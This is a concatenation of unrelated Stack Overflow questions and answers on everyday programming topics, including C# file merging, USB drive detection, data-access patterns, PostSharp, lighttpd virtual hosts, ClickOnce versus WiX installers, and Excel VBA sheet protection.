<p>Read only one line at a time from both source files. Compare the lines and write the older one to the output file (and advance to the next line). Do this until you have reached the end of both files and you've merged the files.</p> <p>And make sure to remove duplicates :)</p> <p>I guess this code in C# may illustrate the approach:</p> <pre><code> StringReader fileStream1; StringReader fileStream2; Event eventCursorFile1 = Event.Parse(fileStream1.ReadLine()); Event eventCursorFile2 = Event.Parse(fileStream2.ReadLine()); while !(fileStream1.EOF &amp;&amp; fileStream2.EOF) { if (eventCursorFile1.TimeStamp &lt; eventCursorFile2.TimeStamp) { WriteToMasterFile(eventCursorFile1); eventCursorFile1 = Event.Parse(fileStream1.ReadLine()); } else if (eventCursorFile1.TimeStamp == eventCursorFile2.TimeStamp) { WriteToMasterFile(eventCursorFile1); eventCursorFile1 = Event.Parse(fileStream1.ReadLine()); eventCursorFile2 = Event.Parse(fileStream2.ReadLine()); } else { WriteToMasterFile(eventCursorFile1); eventCursorFile2 = Event.Parse(fileStream2.ReadLine()); } } </code></pre> <p>The break condition isn't exactly right as this is just Quick'n'dirty, but it should look similar.. </p>
15,587
<p>Is there a way to find out when in a LAN anyone plugs in a pendrive to the USB port? Programatically (in C# preferably) or through some tool. Basically I'd imagine a client application sits on each terminal and monitors the USB ports and sends the information to the server. </p> <p>a.) Can I get the details of the file(s) being copied? b.) Is there a way to do this without a client application? </p> <p>EDIT</p> <p>I dont want to disable the USB port entirely. its to be on a need to have basis. Basically just want the users on the LAN to share data responsibly and know that whatever data is tranfered is monitored and logged and can be questioned later.</p>
<p>[Assuming Windows, given the C# remark. Please tag accordingly]</p> <p>Yes, this is possible. And it is possible to get the details of the file. It will require programming, though. Watch for <a href="http://msdn.microsoft.com/en-us/library/aa363480(VS.85).aspx" rel="noreferrer">WM_DEVICECHANGE</a> and re-enumerate drives afterwards. It will get you USB pendrives, but also SD cards. I expect that's a bonus for you.</p> <p>To get more details once you know a drive has arrived, use <a href="http://msdn.microsoft.com/en-us/library/system.io.filesystemwatcher.aspx" rel="noreferrer">System.IO.FileSystemWatcher</a></p> <p><strong>Update</strong> I found a better solution - if you register for volume interface notifications, you'll get the volume path for the new drive. First, create a <code>DEV_BROADCAST_DEVICEINTERFACE</code> with <code>dbcc_classguid=GUID_DEVINTERFACE_VOLUME</code>. Then pass this to <code>RegisterDeviceNotification()</code>. You will again get a WM_DEVICECHANGE but you can now cast the lParam from the message to <code>DEV_BROADCAST_DEVICEINTERFACE*</code>.</p> <p>You can pass the <code>dbcc_name</code> you receive to <code>GetVolumeNameForVolumeMountPoint()</code>. You can also pass all drive letters from <code>GetLogicalDriveStrings()</code> to <code>GetVolumeNameForVolumeMountPoint()</code>. You'll have one matching volume name; this is the new drive.</p>
<p>Are you trying to prevent the use of USB thumb drives? If so there is a Group Policy that allows you to restrict access.</p>
34,213
<p>I initially designed my system following the s# architecture example <a href="http://wwww.codeproject.com/KB/architecture/NHibernateBestPractices.aspx" rel="nofollow noreferrer">outlined in this codeproject article</a> (Unfortunately, I am not using NHibernate). The basic idea is that for each domain object that would need to communicate with the persistence layer you would have a corresponding Data Access Object in a different library. Each Data Access Object implements an interface and when a domain object needs access to a data access method it always codes against an interface and never against the DAOs themselves.</p> <p>At the time, and still, I thought this design very flexible. However, as the amount of objects in my domain model has grown I am finding myself questioning if there isn't an organizational problem here. For example, almost every object in the domain ends up with a corresponding Data Access Object and Data Access Object interface. Not only that, but each one of these is in a different place which is more difficult to maintain if I want to do something simple like shift around some namespaces.</p> <p>Interestingly enough, many of these DAOs (and their corresponding interfaces) are very simple creatures - the most common has only a single GetById() method. I end up with a whole bunch of objects such as</p> <pre><code>public interface ICustomerDao { Customer GetById(int id); } public interface IProductDao { Product GetById(int id); } public interface IAutomaticWeaselDao { AutomaticWeasel GetById(int id); } </code></pre> <p>Where their implementors are usually very trivial too. This has me wondering if it wouldn't be simpler to go in a different direction, maybe switching my strategy by having a single object for simple data access tasks, and reserving the creation of dedicated Data Access Objects for those that need something a little more complicated.</p> <pre><code>public interface SimpleObjectRepository { Customer GetCustomerById(int id); Product GetProductById(int id); AutomaticWeasel GetAutomaticWeaselById(int id); Transaction GetTransactioinById(int id); } public interface TransactionDao { Transaction[] GetAllCurrentlyOngoingTransactionsInitiatedByASweatyGuyNamedCarl(); } </code></pre> <p>Does anyone has any experience with an architecture like this? Overall I am very happy with the set-up as it is now my only concern being management of all these little files. I am still wondering however what other approaches toward structuring the Data Access Layer exist.</p>
<p>I recommend against the simple approach other than in simple systems, usually I think your better creating a custom repository for each aggregate and encapsulating as much suitable logic as you can within it. </p> <p>So my approach would to have a repository for each aggregate that needs it, such as CustomerRepository. This would have an Add (save) method and, if suitable for that aggregate, a Remove (delete) method. It would also have any other custom methods that apply including queries (GetActive) and maybe some of those queries could accept specifications.</p> <p>This sounds like a lot of effort but other than the custom queries most of the code is, at least if you are using a modern ORM, very simple to implement so I use inheritance (ReadWriteRepositoryBase where T: IAggregateRoot) and/or composition (calling out to a RepositoryHelper class). The base class might have methods that apply in all cases, such as GetById.</p> <p>Hope this helps.</p>
<p>The main draw back to the second approach is in unit testing -- mocking out big factory methods like your SimpleObjectRepository requires more work than mocking out just ICustomerDao. But, my project goes with the second approach for highly related objects (where most will be used in any unit tests) because it lightens the mental load and makes it more maintainable. </p> <p>I'd figure out what makes your system more maintainable and easy to understand and do that.</p>
17,427
<p>Is it possible to implement the <a href="http://en.wikipedia.org/wiki/Visitor_pattern" rel="noreferrer">Visitor Pattern</a> respecting the <a href="http://en.wikipedia.org/wiki/Open/closed_principle" rel="noreferrer">Open/Closed Principle</a>, but still be able to add new visitable classes?</p> <p>The Open/Closed Principle states that "software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification".</p> <pre><code>struct ConcreteVisitable1; struct ConcreteVisitable2; struct AbstractVisitor { virtual void visit(ConcreteVisitable1&amp; concrete1) = 0; virtual void visit(ConcreteVisitable2&amp; concrete2) = 0; }; struct AbstractVisitable { virtual void accept(AbstractVisitor&amp; visitor) = 0; }; struct ConcreteVisitable1 : AbstractVisitable { virtual void accept(AbstractVisitor&amp; visitor) { visitor.visit(*this); } }; struct ConcreteVisitable2 : AbstractVisitable { virtual void accept(AbstractVisitor&amp; visitor) { visitor.visit(*this); } }; </code></pre> <p>You can implement any number of classes which derives from AbstractVisitor: It is open for extension. You cannot add a new visitable class as the classes derived from AbstractVisitor will not compile: It closed for modification.</p> <p>The AbstractVisitor class tree respects the Open/Closed Principle. The AbstractVisitable class tree does not respect the Open/Closed Principle, as it cannot be extended.</p> <p>Is there any other solution than to extend the AbstractVisitor and AbstractVisitable as below?</p> <pre><code>struct ConcreteVisitable3; struct AbstractVisitor2 : AbstractVisitor { virtual void visit(ConcreteVisitable3&amp; concrete3) = 0; }; struct AbstractVisitable2 : AbstractVisitable { virtual void accept(AbstractVisitor2&amp; visitor) = 0; }; struct ConcreteVisitable3 : AbstractVisitable2 { virtual void accept(AbstractVisitor2&amp; visitor) { visitor.visit(*this); } }; </code></pre>
<p>In C++, <a href="https://condor.depaul.edu/dmumaugh/OOT/Design-Principles/acv.pdf" rel="nofollow noreferrer">Acyclic Visitor</a> (pdf) gets you what you want.</p>
<p>You might want to check out research on "the expression problem", see e.g.</p> <p><a href="http://lambda-the-ultimate.org/node/2232" rel="nofollow noreferrer">http://lambda-the-ultimate.org/node/2232</a></p> <p>I think the problem is mostly academic, but it's something that has been studied a lot, so there's a bit of stuff you can read about different ways to implement it in existing languages or with various language extensions.</p>
20,705
<p>I am asking this out of a curiosity. Basically my question is when you have a database which needs a row entry to have things which act like flags, what is the best practice? A good example of this would be the badges on stack overflow, or the operating system field in bugzilla. Any subset of the flags may be set for a given entry.</p> <p>Usually, I do c and c++ work, so my gut reaction is to use an unsigned integer field as a set of bits which can be flipped... But i know that isn't a good solution for several reasons. The most obvious of which is scale-ability, there will be a hard upper limit on how many flags I can have.</p> <p>I can also think of a couple of other solutions which scale better but would have performance issues because they would require multiple selects to get all the information.</p> <p>So, what is the "right" way to do this?</p>
<p>If you really need an unbounded selection from a closed set of flags (e.g. stackoverflow badges), then the "relational way" would be to create a table of flags and a separate table which relates those flags to your target entities. Thus, users, flags and usersToFlags.</p> <p>However, if space efficiency is a serious concern and query-ability is not, an unsigned mask would work almost as well.</p>
<p>Came across this when I was pondering best way to store bitmask flags (similar to OP's original use of integers) in a database.</p> <p>The other answers are all valid solutions, but I think its worth mentioning that you may not have to resign yourself to horrible query problems if you choose to store bitmasks directly in the database.</p> <p>If you are working on an application that uses bitmasks and you really want the convenience of storing them in the database as one integer or byte column, go ahead and do that. Down the road, you can write yourself a little utility that will generate another table of flags (in whatever pattern of rows/columns you choose) from the bitmasks in your primary working table. You can then do ordinary SQL queries on that computed/derived table.</p> <p>This way your application gets the convenience of only reading/writing the bitmask field/column. But you can still use SQL to really dive into your data if that becomes necessary at a later time.</p>
15,176
<p>I'm working with PostSharp to intercept method calls to objects I don't own, but my aspect code doesn't appear to be getting called. The documentation seems pretty lax in the Silverlight area, so I'd appreciate any help you guys can offer :)</p> <p>I have an attribute that looks like:</p> <pre><code>public class LogAttribute : OnMethodInvocationAspect { public override void OnInvocation(MethodInvocationEventArgs eventArgs) { // Logging code goes here... } } </code></pre> <p>And an entry in my AssemblyInfo that looks like:</p> <pre><code>[assembly: Log(AttributeTargetAssemblies = "System.Windows", AttributeTargetTypes = "System.Windows.Controls.*")] </code></pre> <p>So, my question to you is... what am I missing? Method calls under matching attribute targets don't appear to function.</p>
<p><strong>This is not possible with the present version of PostSharp.</strong></p> <p>PostSharp works by transforming assemblies prior to being loaded by the CLR. Right now, in order to do that, two things have to happen:</p> <ul> <li>The assembly must be about to be loaded into the CLR; you only get one shot, and you have to take it at this point.</li> <li>After the transformation stage has finished, you can't make any additional modifications. That means you can't modify the assembly at runtime.</li> </ul> <p>The newest version, 1.5 CTP 3, <a href="http://www.postsharp.org/blog/announcing-postsharp-1.5-ctp-3" rel="nofollow noreferrer">removes the first of these two limitations</a>, but it is the second that's really the problem. This is, however, <a href="http://www.postsharp.org/blog/using-postsharp-at-runtime" rel="nofollow noreferrer">a heavily requested feature</a>, so keep your eyes peeled:</p> <blockquote> <p>Users often ask if it is possible to use PostSharp at runtime, so aspects don't have to be known at compile time. Changing aspects after deployment is indeed a great advantage, since it allow support staff to enable/disable tracing or performance monitoring for individual parts of the software. <strong>One of the cool things it would enable is to apply aspects on third-party assemblies.</strong></p> <p>If you ask whether it is possible, the short answer is yes! <strong>Unfortunately, the long answer is more complex.</strong></p> </blockquote> <h3>Runtime/third-party aspect gotchas</h3> <p>The author also proceeds to outline some of the problems that happen if you allow modification at runtime:</p> <blockquote> <p>So now, what are the gotchas?</p> <ul> <li><strong>Plugging the bootstrapper.</strong> If your code is hosted (for instance in ASP.NET or in a COM server), you cannot plug the bootstrapper. So any runtime weaving technology is bound to the limitation that you should host the application yourself.</li> <li><strong>Be Before the CLR.</strong> If the CLR finds the untransformed assembly by its own, it will not ask for the transformed one. So you may need to create a new application domain for the transformed application, and put transformed assemblies in its binary path. It's maybe not a big problem.</li> <li><strong>Strong names.</strong> Ough. If you modify an assembly at runtime, you will have to remove its strong name. Will it work? Yes, mostly. Of course, you have to remove the strong names from all references to this assembly. That's not a problem; PostSharp supports it out-of-the-box. But there is something PostSharp cannot help with: if there are some strongly named references in strings or files (for instance in app.config), we can hardly find them and transform them. So here we have a real limitation: there cannot be &quot;loose references&quot; to strongly named assemblies: we are only able to transform real references.</li> <li><strong>LoadFrom.</strong> If any assembly uses Assembly.LoadFrom, Assembly.LoadFile or Assembly.LoadBytes, our bootstrapper is skipped.</li> </ul> </blockquote>
<p>If you're trying to intercept calls within the framework (i.e., not in your own code), it won't work. PostSharp can only replace code within your own assembly. If you're trying to intercept calls you're making, then it looks like it should work. Do you see PostSharp running in the build output?</p>
12,323
<p>I'm running a strange problem sending emails. I'm getting this exception:</p> <pre><code>ArgumentError (wrong number of arguments (1 for 0)): /usr/lib/ruby/gems/1.8/gems/activerecord-2.1.1/lib/active_record/base.rb:642:in `initialize' /usr/lib/ruby/gems/1.8/gems/activerecord-2.1.1/lib/active_record/base.rb:642:in `new' /usr/lib/ruby/gems/1.8/gems/activerecord-2.1.1/lib/active_record/base.rb:642:in `create' /usr/lib/ruby/gems/1.8/gems/ar_mailer-1.3.1/lib/action_mailer/ar_mailer.rb:92:in `perform_delivery_activerecord' /usr/lib/ruby/gems/1.8/gems/ar_mailer-1.3.1/lib/action_mailer/ar_mailer.rb:91:in `each' /usr/lib/ruby/gems/1.8/gems/ar_mailer-1.3.1/lib/action_mailer/ar_mailer.rb:91:in `perform_delivery_activerecord' /usr/lib/ruby/gems/1.8/gems/actionmailer-2.1.1/lib/action_mailer/base.rb:508:in `__send__' /usr/lib/ruby/gems/1.8/gems/actionmailer-2.1.1/lib/action_mailer/base.rb:508:in `deliver!' /usr/lib/ruby/gems/1.8/gems/actionmailer-2.1.1/lib/action_mailer/base.rb:383:in `method_missing' /app/controllers/web_reservations_controller.rb:29:in `test_email' </code></pre> <p>In my web_reservations_controller I have a simply method calling </p> <pre><code>TestMailer.deliver_send_email </code></pre> <p>And my TesMailer is something like:</p> <pre><code>class TestMailer &lt; ActionMailer::ARMailer def send_email @recipients = "xxx@example.com" @from = "xxx@example.com" @subject = "TEST MAIL SUBJECT" @body = "&lt;br&gt;TEST MAIL MESSAGE" @content_type = "text/html" end end </code></pre> <p>Do you have any idea?</p> <p>Thanks! Roberto</p>
<p>The problem is with the model that ar_mailer is using to store the message. You can see in the backtrace that the exception is coming from ActiveRecord::Base.create when it calls initialize. Normally an ActiveRecord constructor takes an argument, but in this case it looks like your model doesn't. ar_mailer should be using a model called Email. Do you have this class in your app/models directory? If so, is anything overridden with initialize? If you are overriding initialize, be sure to give it arguments and call super.</p> <pre><code>class Email &lt; ActiveRecord::Base def initialize(attributes) super # whatever you want to do end end </code></pre>
<p>Check that email_class is set correctly: <a href="http://seattlerb.rubyforge.org/ar_mailer/classes/ActionMailer/ARMailer.html#M000002" rel="nofollow noreferrer">http://seattlerb.rubyforge.org/ar_mailer/classes/ActionMailer/ARMailer.html#M000002</a></p> <p>Also don't use instance variables. Try:</p> <pre><code>class TestMailer &lt; ActionMailer::ARMailer def send_email recipients "roberto.druetto@gmail.com" from "roberto.druetto@gmail.com" subject "TEST MAIL SUBJECT" content_type "text/html" end end </code></pre> <p>From the docs: the body method has special behavior. It takes a hash which generates an instance variable named after each key in the hash containing the value that that key points to.</p> <p>So something like this added to the method above:</p> <pre><code>body :user =&gt; User.find(1) </code></pre> <p>Will allow you to use <code>@user</code> in the template.</p>
16,062
<p>I've got around 750+ users that I'm going to create mailboxes for. Should I sleep for a bit between creates to not overload the exchange server or does it not matter? I've read that the actual mailbox is not created until the user accesses it or they get mail. I'm using CDOEXM and DirectoryServices in .NET 2.0.</p> <pre><code>Imports System.DirectoryServices Imports CDOEXM ... ... Dim mbx As IMailboxStore = user.NativeObject mbx.CreateMailbox(store) user.CommitChanges() </code></pre>
<p>I'd just go for it. I wouldn't expect only 750 to cause any sort of operational problem on anything resembling a modern server.</p>
<p>Exchage defers most of the work until the user logs in for the first time, so creating the mailboxes shouldn't be much work.</p>
47,387
<p>What is the <code>@</code> symbol mean in <a href="/questions/tagged/oracle" class="post-tag" title="show questions tagged &#39;oracle&#39;" rel="tag">oracle</a>? </p> <p>For example:</p> <pre><code>select * from question_answer@abcd where id = '45' </code></pre>
<p>It refers to a non-local table, the bit behind the @ is the db descriptor.</p> <pre><code>select * from question_answer@abcd where id = '45' </code></pre> <p>Means select not from the local <code>question_answer</code> table, but from the table on the db designated as <code>abcd</code>. The keyword to google for is <code>dblink</code></p>
<p>This is the syntax for accessing a table via a database link called "abcd" See the documentation for <a href="http://download.oracle.com/docs/cd/B28359_01/server.111/b28286/statements_5005.htm#SQLRF01205" rel="noreferrer">CREATE DATABASE LINK</a>, or to see the defined db links: </p> <pre><code>SELECT * FROM all_db_links; </code></pre>
37,885
<p>I'm playing about with <a href="http://en.wikipedia.org/wiki/Lighttpd" rel="nofollow noreferrer">lighttpd</a> on a small virtual private server. I two domains pointing to the server. I am using the latest version of lighttpd and mod_evhost on Ubuntu 8.10.</p> <ol> <li><p>I'm trying to set up a rule such that if anyone requests <strong>domain.com</strong> or <strong>www.domain.com</strong> they get served from <em>/webroot/domain.com/www/</em></p></li> <li><p>Similarly, if anyone requests <strong>sub.domain.com</strong> they get served from <em>/webroot/domain.com/sub/</em></p></li> <li><p>If people requests <strong>fake.domain.com</strong> (where <em>/webroot/domain.com/fake/</em> does not exist) I would like them served from <em>/webroot/domain.com/www/</em></p></li> </ol> <p>The third requirement isn't quite so important, I can deal with people requesting subdomains that don't exist being served from the server document root of <em>/webroot/server.com/www/</em> even if they requested <strong>fake.domain.com</strong></p> <p>I've included the relevant parts of my lighttpd.conf file below:</p> <pre><code>server.document-root = "/webroot/server.com/www/" // regex to match sub.domain.com $HTTP["host"] =~ "\b[a-zA-Z]\w*\.\b[a-zA-Z]\w*\.\b[a-zA-Z]\w*" { evhost.path-pattern = "/webroot/%0/%3/" } // regex to match domain.com $HTTP["host"] =~ "\b[a-zA-Z]\w*\.\b[a-zA-Z]\w*" { evhost.path-pattern = "/webroot/%0/www/" } </code></pre> <p>So where am I going wrong? At the moment, all requests to <strong>*.domain.com</strong> and <strong>domain.com</strong> are being served from <em>/webroot/domain.com/www/</em></p> <p>I'd appreciate any help you guys could offer and if I've left anything relevant out please tell me!</p> <p>Cheers, Rob</p>
<p>Your regexes seem to be a bit overdone.</p> <p>Here is what I would use:</p> <pre><code>// regex to match sub.domain.com $HTTP["host"] =~ "^[^.]+\.[^.]+\.[^.]+$" { evhost.path-pattern = "/webroot/%0/%3/" } // regex to match domain.com $HTTP["host"] =~ "^[^.]+\.[^.]+$" { evhost.path-pattern = "/webroot/%0/www/" } </code></pre> <p>where:</p> <pre><code>[^.]+ matches anything but a dot, 1..n times </code></pre> <p>To match only valid sub domains with fall back to "www", you can use this:</p> <pre><code>// default: route everything to "www" $HTTP["host"] =~ "([^.]+\.)?domain\.com$" { evhost.path-pattern = "/webroot/%0/www/" } // specific regex overwrites "path-pattern" for valid sub-domains only $HTTP["host"] =~ "^(valid1|valid2|sub)\.domain\.com$" { evhost.path-pattern = "/webroot/%0/%3/" } </code></pre>
<p>For your first one, matching <strong>domain.com</strong> and <strong>www.domain.com</strong>: <code>^\b([wW]{3}\.)?[\w\d]*\.com\b$</code>, and for the second one, I am unsure if regex can determine if a subdomain/page exists, as it is for identifying strings of text of interest. Hopefully that will help you out a bit.</p>
32,758
<p>What is the best way to get the Max value from a LINQ query that may return no rows? If I just do</p> <pre><code>Dim x = (From y In context.MyTable _ Where y.MyField = value _ Select y.MyCounter).Max </code></pre> <p>I get an error when the query returns no rows. I could do</p> <pre><code>Dim x = (From y In context.MyTable _ Where y.MyField = value _ Select y.MyCounter _ Order By MyCounter Descending).FirstOrDefault </code></pre> <p>but that feels a little obtuse for such a simple request. Am I missing a better way to do it?</p> <p>UPDATE: Here's the back story: I'm trying to retrieve the next eligibility counter from a child table (legacy system, don't get me started...). The first eligibility row for each patient is always 1, the second is 2, etc. (obviously this is not the primary key of the child table). So, I'm selecting the max existing counter value for a patient, and then adding 1 to it to create a new row. When there are no existing child values, I need the query to return 0 (so adding 1 will give me a counter value of 1). Note that I don't want to rely on the raw count of child rows, in case the legacy app introduces gaps in the counter values (possible). My bad for trying to make the question too generic.</p>
<p>Since <code>DefaultIfEmpty</code> isn't implemented in LINQ to SQL, I did a search on the error it returned and found a <a href="http://www.interact-sw.co.uk/iangblog/2007/09/10/linq-aggregates" rel="noreferrer">fascinating article</a> that deals with null sets in aggregate functions. To summarize what I found, you can get around this limitation by casting to a nullable within your select. My VB is a little rusty, but I <strong>think</strong> it'd go something like this:</p> <pre><code>Dim x = (From y In context.MyTable _ Where y.MyField = value _ Select CType(y.MyCounter, Integer?)).Max </code></pre> <p>Or in C#:</p> <pre><code>var x = (from y in context.MyTable where y.MyField == value select (int?)y.MyCounter).Max(); </code></pre>
<p>I just had a similar problem, my unit tests passed using Max() but failed when run against a live database. </p> <p>My solution was to separate the query from the logic being performed, not join them in one query.<br> I needed a solution to work in unit tests using Linq-objects (in Linq-objects Max() works with nulls) and Linq-sql when executing in a live environment. </p> <p>(I mock the Select() in my tests)</p> <pre><code>var requiredDataQuery = _dataRepo.Select(x =&gt; new { x.NullableDate1, .NullableDate2 }); var requiredData.ToList(); var maxDate1 = dates.Max(x =&gt; x.NullableDate1); var maxDate2 = dates.Max(x =&gt; x.NullableDate2); </code></pre> <p>Less efficient? Probably. </p> <p>Do I care, as long as my app doesn't fall over next time? Nope. </p>
44,351
<p>Generally when I use ClickOnce when I build a VB.NET program but it has a few downsides. I've never really used anything else, so I'm not sure what my options are.</p> <p>Downsides to ClickOnce:</p> <ul> <li>Consists of multiple files - Seems easier to distribute one file than manageing a bunch of file and the downloader to download those files.</li> <li>You have to build it again for CD installations (for when the end user dosn't have internet)</li> <li>Program does not end up in Program Files - It ends up hidden away in some application catch folder, making it much harder to shortcut to.</li> </ul> <p>Pros to ClickOnce:</p> <ul> <li>It works. Magically. And it's built into VisualStudio 2008 express.</li> <li>Makes it easy to upgrade the application.</li> </ul> <p>Does Windows Installer do these things as well? I know it dosen't have any of the ClickOnce cons, but It would be nice to know if it also has the ClickOnce pros.</p> <p><strong>Update</strong>: I ended up using Wix 2 (Wix 3 was available but at the time I did the project, no one had a competent tutorial). It was nice because it supported the three things I (eventually) needed. An optional start-up-with-windows shortcut, a start-up-when-the-installer-is-done option, and three paragraphs of text that my boss thinks will keep uses from clicking the wrong option.</p>
<p>Have you seen WiX yet?</p> <p><a href="http://wix.sourceforge.net/" rel="noreferrer">http://wix.sourceforge.net/</a></p> <p>It builds windows installers using an XML file and has additional libraries to use if you want to fancify your installers and the like. I'll admit the learning curve for me was medium-high in getting things started, but afterwards I was able to build a second installer without any hassles. </p> <p>It will handle updates and other items if you so desire, and you can apply folder permissions and the like to the installers. It also gives you greater control on where exactly you want to install files and is compatible with all the standardized Windows folder conventions, so you can specify "PROGRAM_DATA" or something to that effect and the installer knows to put it in C:\Documents and Settings\All Users\Application Data or C:\ProgramData depending on if you're running XP or Vista.</p> <p>The rumor is that Office 2007 and Visual Studio 2008 used WiX to create their installer, but I haven't been able to verify that anywhere. I do believe is is developed by some Microsoft folks on the inside.</p>
<p>Creating an installer project, with a dependency on your EXE (which in turn depends on whatever it needs) is a fairly straightforward process - but you'll need at least VS Standard Edition for that.</p> <p>Inside the installer project, you can create custom tasks and dialog steps that allow you to do anything you code up.</p> <p>What's missing is the auto-upgrade and version-checking magic you get with ClickOnce. You can still build it in, it's just not automatic.</p>
2,564
<h3>Duplicate:</h3> <blockquote> <p><a href="https://stackoverflow.com/questions/242177/what-is-aspect-oriented-programming">What is aspect-oriented programming?</a></p> </blockquote> <p>Every time I here a podcast or read a blog entry about it, even here, they make it sound like string theory or something. Is the best way to describe it OOP with Dependency Injection on steroids?</p> <p>Every time someone tries to explain it, it’s like, Aspects, [Adults from Peanuts Cartoon sound], Orthogonal, [more noise], cross cutting concerns, etc. Seriously, can anyone describe it in layman’s terms.</p>
<p>Laymans terms so let me give you an example. Let's say you have a web application, and you need to add error logging / auditing. One implementation would be to go into every public method and add your try catch blocks etc...</p> <p>Well Aspect oriented says hogwash with that, let me inject my method around your method so for example instead of calling YourClass.UpdateModel(), the system might call,</p> <p>LoggingHandler.CallMethod() this method might then redirect the call to UpdateModel but wraps it in a try catch block to handle logging errors.</p> <p>Now the trick is that this redirection happens automagically, through configuration or by applying attributes to methods. </p> <p>This works for as you said cross cutting things which are very common programing elements that exist in every domain, such as: Logging, Auditing, Transaction Mgmt, Authorization.</p> <p>The idea behind it is to remove all this common plumbing code out of your business / app tier so you can focus on solving the problem not worrying about logging this method call or that method call.</p>
<p>I currently use <a href="http://www.postsharp.org/" rel="nofollow noreferrer">Post Sharp</a>, i would read the info from their website. I use it to provide a security around method calls.</p> <blockquote> <p>"PostSharp is an open platform for the analysis and transformation of .NET assemblies. It comes with PostSharp Laos, a powerful yet simple plug-in that let you develop custom attributes that actually adds behavior of your code. PostSharp Laos is the leading aspect-oriented programming (AOP) solution for the .NET Framework."</p> </blockquote>
41,334
<p>I have a protected Excel worksheet, without a password. What I'd like to do is trap the event that a user unprotects the worksheet, so that I can generate a message (and nag 'em!). I can setup event checking for the application, for when new workbooks are opened, etc., but not for Unprotect.<br> Does anyone have an idea?</p>
<p>It is possible to modify the menu using Tools->Customize. Protect/Unprotect can be set to run a macro, for example:</p> <pre><code>Sub UnprotectTrap() If ActiveSheet.ProtectContents = True Then MsgBox "Tut,tut!" ActiveSheet.Unprotect Else ActiveSheet.Protect End If End Sub </code></pre>
<p>There is no way to trap the user unprotecting the sheet, but you can warn them if they save the workbook without reprotecting the sheet(s).</p> <p>In the Workbook module, put this code, or something like it</p> <pre><code>Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) If Sheets("MyProtectedSheet").ProtectContents = False Then MsgBox "The sheet 'MyProtectedSheet' should not be left unprotected. I will protect it before saving", vbInformation Sheets("MyProtectedSheet").Protect End If End Sub </code></pre>
30,378
<p>I got some legacy code with that caption spread out as comment almost in every field. Also appearing is "<code>Setter for property xyz</code>". </p> <p>Just out of curiosity, which Java tool generated this stubs?</p>
<p>It uses the user that your Application Pool is running as, the default being 'NT AUTHORITY\NETWORK SERVICE'</p> <p>The title of the question should be "What user account will ASP.NET use when I connect to SQL Server using trusted___connection". Trusted_connection uses the current process' (or impersonated) credentials.</p> <p>Your .NET code runs inside the Application Pool. You can configure the user account the Application Pool runs under within IIS configuration. Best practices is to run your Application Pool under a restricted user account, and grant that user login to the database.</p> <p>Don't confuse this with the IIS Anonymous User default account, the account the IIS service is running as or the IIS Security tab on the website settings. You can set your web application to impersonate (run as) the user that IIS authenticates them as (See Impersonation in the ASP.NET doco). </p> <p>Rob</p>
<p>It will use the credential of the currently logged in user. The reason you see NETWORK Service is because IIS app pools (by default) runs as that account.</p>
36,247
<p>Recently I've been seeing a lot of this:</p> <pre><code>&lt;a href='http://widget-site-example.com/example.html'&gt; &lt;img src='http://widget-site-example.com/ross.jpg' alt='Ross&amp;#39;s Widget' /&gt; &lt;/a&gt; </code></pre> <p>Is it valid to use single quotes in HTML? As I've highlighted above it's also problematic because you have to escape apostrophes.</p>
<p>It's certainly valid to use single quotes (<a href="http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.2" rel="noreferrer">HTML 4.01, section 3.2.2</a>). I haven't noticed such a trend, but perhaps there's some framework that powers web sites you've visited that happens to quote using single quotes.</p>
<h1>You should avoid quotes altogether.</h1> <p>In your example only one quoted attribute actually needed quotes.</p> <pre><code>&lt;!-- best form --&gt; &lt;a href=http://widget-site-example.com/example.html&gt; &lt;img src=http://widget-site-example.com/ross.jpg alt='Ross&amp;#39;s Widget' /&gt; &lt;/a&gt; </code></pre> <p>If you do use quotes, there is no hard and fast rule, but I've seen most commonly single quotes, with double quotes on the inside if necessary.</p> <p>Using double quotes won't pass some validators.</p>
30,065
<p>I'm currently working on a large implementation of Class::DBI for an existing database structure, and am running into a problem with clearing the cache from Class::DBI. This is a mod_perl implementation, so an instance of a class can be quite old between times that it is accessed. From the man pages I found two options:</p> <pre><code>Music::DBI-&gt;clear_object_index(); </code></pre> <p>And:</p> <pre><code>Music::Artist-&gt;purge_object_index_every(2000); </code></pre> <p>Now, when I add clear_object_index() to the DESTROY method, it seems to run, but doesn't actually empty the cache. I am able to manually change the database, re-run the request, and it is still the old version. purge_object_index_every says that it clears the index every n requests. Setting this to "1" or "0", seems to clear the index... sometimes. I'd expect one of those two to work, but for some reason it doesn't do it every time. More like 1 in 5 times.</p> <p>Any suggestions for clearing this out?</p>
<p>The "<a href="http://wiki.class-dbi.com/wiki/Common_problems" rel="nofollow noreferrer">common problems</a>" page on the <a href="http://wiki.class-dbi.com/wiki" rel="nofollow noreferrer">Class::DBI wiki</a> has a <a href="http://wiki.class-dbi.com/wiki/Common_problems#Old_data_due_to_object_index" rel="nofollow noreferrer">section</a> on this subject. The simplest solution is to disable the live object index entirely using:</p> <pre><code>$Class::DBI::Weaken_Is_Available = 0; </code></pre>
<p>I should note that Class::DBI is deprecated and you should port your code to <a href="http://search.cpan.org/dist/DBIx-Class/" rel="nofollow noreferrer">DBIx::Class</a> instead.</p>
5,595
<p>What do you think is the best way to present a hierarchical list of functionality to users within your traditional WinForms application? (A menu system - Assume functionality can be split into a small number of modules and sub-modules but with no fixed depth in terms of those sub-modules).</p> <p>Do you like the traditional drop down menu system, ribbons, docked toolbars, a treeview approach or any other innovative ideas?</p>
<p>An important thing to consider in your design is <a href="http://haacked.com/archive/2008/11/06/usability-vs-discoverability.aspx" rel="nofollow noreferrer">Usability vs Discoverability</a>.</p> <p>The <em>best</em> solution depends strongly on who you users are. The UI requirements for a kiosk application for tourists in a city centre are very different to those for a control screen at a power station...</p>
<p>You could always opt for the increasingly ribbon control. Microsoft/Office interfaces have a habit of becoming the user's expectation of norm (eventually).</p>
41,864
<p>I have this huge legacy database that I'm trying to get under source control. I looked around here on stackoverflow and decided to use the Visual Studio 2008 database project, then committing stuff on svn. I successfully imported the schema into the project, but I can't find any way to use the user-friendly table designers with this kind of project. Whenever I open a table, it opens the DDL definition. I need the designers, otherwise I won't get buy-in from the team. Any suggestions/workarounds?</p>
